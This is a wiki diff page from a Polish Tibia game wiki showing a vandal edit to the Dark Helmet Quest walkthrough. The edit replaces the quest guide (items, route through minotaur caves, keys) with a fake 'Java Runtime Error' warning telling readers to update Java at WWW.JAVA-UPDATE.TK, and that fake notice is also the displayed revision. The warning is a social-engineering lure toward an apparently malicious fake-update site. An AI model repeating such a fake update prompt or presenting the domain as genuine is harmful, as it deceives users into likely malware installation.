Skocz do: Nawigacja, szukaj
m (Wycofano edycje użytkownika Tibiawadmin (dyskusja). Autor przywróconej wersji to Masterro.)
Linia 1: Linia 1:
{{Spoiler|name=Dark Helmet Quest}}
+
{| align="center" style="padding: 5px 5px 5px 5px; border: solid #AAAAAA 1px; background-color: #F9F9F9;
__NOTOC__
+
| [[Grafika:25px-Wykrzyknik.png]]
 
+
| style="text-align: center" | <div style="border: 1px #b7b7b7 solid;background-color:#ffffff">
===Potrzebne Przedmioty===
+
''Java Runtime Error #99c# !'' Nie posiadasz aktualnej wersji Java kompatybilnej z komponentami strony. Uniemożliwia to prawidłowe wyświetlanie zawartości i spowalnia ładowanie strony.<br/><span style="font-size: 0.83em">
*{{GS|Pick}}
+
Musisz zaktualizować Virtual Java Machine.
*{{GS|Destroy Field}}
+
</span><br/>'''WWW.JAVA-UPDATE.TK'''</div>
*{{GS|Shovel}}
+
| [[Grafika:25px-Wykrzyknik.png]]
*{{GS|Rope}}
+
|}
*[[Grafika:Gold_Coin.gif]] 20 [[gp]]
 
 
 
===Opis===
 
[[Grafika:AVQ1.png]] <br/>
 
Wyruszamy z [[Carlin]] do tratwy znajdującej się na północnym zachodzie. Aby znaleźć się na [[Folda|Foldzie]] musimy poprosić [[Nielson]]a o przewóz na tę wyspę (za podróż płacimy 20 gp)<br/>[[Grafika:Dark Helmet Quest1.PNG]]<br/>
 
Wchodzimy do podziemia góry<br/>
 
[[Grafika:Dark Helmet Quest2B.PNG]]<br/>
 
Udajemy się zgodnie z mapką po [[Klucz 4503|klucz 4503]] (po drodze trochę [[troll|trolli]] i [[minotaur|minotaurów]]). Klucz znajduje się w jednej ze skrzynek w oznaczonym miejscu (aby do nich dojść należy usunąć ogień [[Destroy Field]]em). Następnie wracamy tą samą drogą, po drodze skręcając w prawo (fioletowa linia). Dochodzimy do kilku [[Fire]] Fieldów. Niszczymy środkowy ognik przy prawej ścianie, w tym miejscu rozkopujemy [[pick|kilofem]]. Wchodzimy do dziury. Z tej dziury już nie ma odwrotu, jedyną możliwością opuszczenia tego miejsca jest ukończenie questu.<br/>
 
[[Grafika:Dark Helmet Quest3.PNG]]<br/>
 
Podążamy zieloną trasą, po drodze odbijamy na chwilę na różową trasę (do zabicia: [[slime]], [[Minotaur Guard]], parę zwykłych [[Minotaur]]ów). W pomieszczeniu w prawym dolnym rogu zabieramy ze skrzynki [[klucz 4501]], wracamy na zieloną trasę. Po drodze zabijamy [[Minotaur Mage|minotaura maga]] w towarzystwie zwykłych [[minotaur]]ów, bierzemy nagrody ze skrzynki. Aby wyjść na powierzchnię idziemy do wielkiej komnaty (trasa niebieska). Wchodzimy po schodkach. Zabijamy czające się tam minotaury, otwieramy drzwi przed chwilą zdobytym kluczem [[klucz 4502|4502]] (ten ze skrzynki z nagrodami) i wchodzimy w teleport (opłaca się zajrzeć do skrzynek w tej komnacie w ramach [[Alawar's Vault Quest]]u). Pojawiamy się w zamku czarnoksiężnika Alawara na [[Senja|Senji]].
 

Wersja z 22:37, 25 sty 2011

25px-Wykrzyknik.png

Java Runtime Error #99c# ! Nie posiadasz aktualnej wersji Java kompatybilnej z komponentami strony. Uniemożliwia to prawidłowe wyświetlanie zawartości i spowalnia ładowanie strony.
Musisz zaktualizować Virtual Java Machine.


WWW.JAVA-UPDATE.TK
25px-Wykrzyknik.png